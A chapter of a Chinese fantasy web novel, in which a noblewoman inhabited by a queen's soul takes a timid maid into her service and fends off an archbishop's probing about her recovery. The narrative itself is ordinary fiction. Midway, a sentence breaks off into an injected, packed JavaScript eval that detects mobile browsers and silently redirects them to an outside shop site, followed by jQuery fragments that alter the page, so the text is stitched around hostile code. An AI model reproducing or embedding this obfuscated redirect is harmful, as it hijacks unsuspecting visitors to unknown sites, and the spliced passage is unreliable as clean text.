尖拱塔楼钟敲响六下,镀金的飞扶壁托着彩色的玻璃钟体,宛若一座微型的神圣大教堂。
女佣们低头敛眉,鱼贯而入,精致的早餐依次端上了长长的餐桌,长颈花瓶与餐具错落摆放,泛着银质光泽。
玫瑰娇嫩,薰衣草淡雅,花盆里的土泛着淡淡的红色,烛台干净簇新,火光灼灼,影子在墙壁上恣意跳动。
塞西莉亚一觉睡醒,庄园安安静静的。她换了条宝蓝色修身织锦长裙,两边鬓发各自向后编织盘绕成髻,深灰色曳地羊毛外袍垂在身后,质地厚重,格外保暖。
她缓步走到餐桌前,身后有人帮她挪动椅子,侍奉的黑发女仆浑身发颤,低垂着脑袋不敢直视她。她刚拿起餐刀,那女仆猛地退后半步,身形踉跄了一下。
塞西莉亚终于注意到了她,那个被叫去传唤管家泰德,自己被自己绊一跤的家伙。
塞西莉亚小心切下一小块肉放进嘴里,慢慢咀嚼。肉质鲜美多汁,入口即化,烹饪的手艺与王庭御厨不遑多让,但在之前的记忆里这味道好似从来不曾在这里出现过。
她只吃了几口便没了胃口,随手放下餐具,起身向楼上走去。
等候在一旁的女仆们面面相觑,没有一个人敢上前收拾。
“对了……”塞西莉亚的脚步声突然在楼梯上停下来,惊得女仆们心脏都停跳了几拍,她俯视着瘦高个的黑发女仆,冷冷开口,“你叫什么?”
后者惊疑不定,慌忙看了左右一眼,面如土色。
“没错,就是你。”塞西莉亚给予肯定。
“卡、卡……萝。”
女仆低下头,磕磕绊绊地讲出了自己的名字,眼皮不敢上抬。
“认字吗?”
“啊?……哦哦,认,认得一些。”卫兵队的弟弟曾经教过她。
塞西莉亚的目光扫过她惊恐万状的脸,落在她颤抖不止的双肩,听话、胆小、一点点可有可无的善良,是不错的人选。
“卡萝,从今日起你就是女仆长,到我这里来做贴身女仆。”
卡萝怔在原地,半天没有缓过劲来。
其他人看向她的眼神中既有羡慕,也有嫉妒,但更多的是同情和幸灾乐祸。
能够毫不犹豫用餐刀杀掉女仆长的大小姐远比恶魔更让人恐惧,此时被恶魔选中,成为她的贴身女仆,不知是幸运还是不幸。
卡萝一整天都浑浑噩噩战战兢兢,脚下的每一步都像踩在了云端。
路过后院时,卡萝听到了几声凄厉的哭喊,但那声音只来得及嚎啕半句,后面就被强行堵在了喉咙中,只余下破碎的、分辨不清的呜呜声。
她近前几步循着声音的来源望去,昨日在庭院中泼塞西莉亚小姐冷水的女仆被捆得结结实实扔在地上,旁边几个男佣蠕动挣扎,烂泥糊了满头满脸。
几只庄园里饲养的猎狗在旁边打圈,被黑袍男子呵斥跑远。
那男子戴着毡帽看不清脸,瞥一眼地上的人又扫一眼手里的纸张,管家泰德站在一边,面无表情。
黑袍男子的视线从名单上抬起,同泰德点了点头,两个身材壮硕的男人从马车前面下来,手里拿着锁圈和长鞭。
他们甩起鞭子,像牛羊一般将几人赶进了马车。
艾丽尔庄园重新陷入了一片死寂。
卡萝突然弯下腰急促地、大口地呼吸。
她在她身上看见了魔鬼的影子,一遍又一遍。
接下来几天,卡萝心神忐忑,生怕触怒塞西莉亚,半句不敢多说。然而塞西莉亚小姐每日只是看书、闲逛,偶尔叫住女仆问话,沉默地看着管家泰德频繁传递信鸦。
傍晚时分,阴沉了一整天的布鲁德尔终于飘起了小雪,卡萝绷紧的神经也逐渐松弛下来,以至于侍奉的时候不自觉打起了瞌睡。
轻微的鼾声在身后响起,塞西莉亚从书中抬起头来,转脸瞥了小女仆一眼,她靠着墙壁,毛绒绒的头一点一点,像啄米的小鸡。
窗外响起了马匹的嘶鸣,一辆带有蓝白新月标志的马车正驶入庄园。
塞西莉亚放下书卷向窗边走去,彩绘的玻璃窗将室外分割成数片独立的窗景,处处透露着诡异又和谐的拼凑之感。
壁炉的热浪在这里消散,风从窗户边缘的细缝强行闯入,塞西莉亚下意识缩了下肩膀,裹紧了外袍。
她在窗边站定,玻璃上映出她的脸,漆黑的瞳仁、平直的唇线,陌生的、属于塞西莉亚的脸。
她缓缓勾起嘴角,拉到记忆中的弧度,练习微笑。
有点僵硬。
她放松双颊,又试了一次,这次好些了。
窗外,神色庄重的男人走下马车,管家泰德举着伞迎上去。
男人步履未停,向庄园走来,泰德礼貌又恭敬地落后半步,伞遮住了他的上半张脸,只看见他的嘴唇一张一合,低声说着什么。
塞西莉亚重新看向玻璃,再次弯唇,这次很完美,昔日伊丽丝的脸与此刻玻璃上的塞西莉亚重叠,同以往在王庭宴会上一样。
来人是大主教亚斯·布莱德,一个极有声望、为人又极为古板的老者。
他信奉神明自有安排,一切循规蹈矩,藏在镜片后的眼睛深邃又清醒。
但他棕褐色的胡子好像不这么想,自由卖弄着自己的脾气,从下巴顺着脸颊边缘一路茂密地生长,和他的头发连成壮观的一片,
这是塞西莉亚接受的第五次检查。
这几日,继被解雇的庄园医生之后,管家泰德又相继从布鲁德尔、马多纳等地请来了三位享有盛名的医生。
他们对塞西莉亚进行了问询、检查甚至放血之后,全部做出了“塞西莉亚小姐疯病痊愈”的诊断结论。
泰德向圣斯卢奥传递了信鸦,不久后收到了回信。为了确保结论真实,公爵夫人令他请来了最后一位重磅角色。
人影未到,霜雪先至,寒意穿透了火光迎面而来,塞西莉亚搓了下手臂,挺直了脊背。
“塞西莉亚小姐。”亚斯·布莱德声线苍老,但声如洪钟,小女仆猛地睁开了眼睛,茫然的眼睛在室内的三人身上游移。
“您能详细说明您突然恢复神智那一刻的感受吗?”
他神情严肃,眼镜在摇曳的烛火下微微反光。
“当然。”塞西莉亚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746174|209297||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
安静地望着他,绷直的唇线缓缓向上拉起到某个弧度。
“我感觉好极了,就像是有人温柔地轻抚我的头顶。”
她顿了顿,长睫垂下,细碎的光影在眼下颤动。
“她唤我孩子,让我皈依在她的庇护之下。”塞西莉亚抬头,亚斯大主教也随着她的视线望向壁炉上方的浮雕像,贝拉母神探出墙壁,单手前伸,垂眸闭眼,慈爱悲悯。
烛火跳动,木炭表面一层白色灰烬剥落,发出“沙沙”的响声,宽敞的房间内安静到能听见几人深浅不一的呼吸声。
“……那么,塞西莉亚小姐,您在那一刻……”片刻后,亚斯主教声音重新响起,“我是指您突然醒来的那一刻,您第一眼看见了什么?”
塞西莉亚垂下了眼眸,心跳渐快,长睫掩埋了她眸中的情绪。
看见了什么?
清冷的月光擅自闯入了窗户,在地板上泅出了一地苍凉。
那个瘦小的身影缩在床角,只剩下最后的气息,却仍在虔诚地祈祷,嘴里反复念叨的只有一句话——
神啊,带我走吧。
于是,女王的灵魂回应了她的呼唤,从荧荧微光中坠落于此。
塞西莉亚抬眸向他望去,缓缓扯起嘴角,露出温柔的微笑,如同那一刻一样。
“月亮。”她声音很轻,回答简短,心跳渐快。
主教短暂地沉默,塞西莉亚垂下眼,放在膝上的双手掌心有些发潮,伤口在绷带下搏动,热意、痛感与心跳几乎出卖了她。
她轻轻吸了口气,抬起头时,那双黑白分明的眼睛变得单纯又澄澈,就像寻常的贵族淑女一样,甚至有点儿调皮地反问道:“主教大人,我应该看见什么呢?”
亚斯·布莱德显然对这个答案并不买账,老主教的脸在烛光下明暗不定,鹰隼般的视线直直望进塞西莉亚的眼睛里,像是要窥探她的内心,撕下她灵魂的伪装。
“塞西莉亚小姐,圣光普照下的我们,应该永远如孩童般诚实。请宽恕我的冒昧,我必须再次发问——您那刻看到了什么?”他开口道,声音比之前要沉重了许多。
泰德下意识注视着塞西莉亚小姐,手心微微冒汗,母神贝拉的使徒拥有刺探人心的力量,一旦被打为异端,断头台或者火刑架将会是她唯一的下场。
即便她是北境之主奥维斯公爵之女。
塞西莉亚沉默着,被视为不详的黑眸在火光中闪烁着光辉。外袍下,她握紧了缠着绷带的右手,感受着伤口撕裂的痛楚,一口气堵在了牙关之后,又被她生生压了回去。
若神明真的降罚于恶孽,那克莱尔早该死千千万万次了。
她不畏惧,她怎会畏惧。
于是,她抬起头,目光静静地迎向审判者,笑容虔诚而明媚,将这份信仰的压力同样转嫁回去。
她说:“母神贝拉赐福于我,使我免受疾病之苦,重享健康之乐……”
她收了笑,眼中光彩倏然不见,半隐在阴影之中,“亚斯主教,您一直追问那一刻……”
她语气停顿,一丝蓄意的愠怒悄然漫上话音,“……是在质疑贝拉的神迹吗?”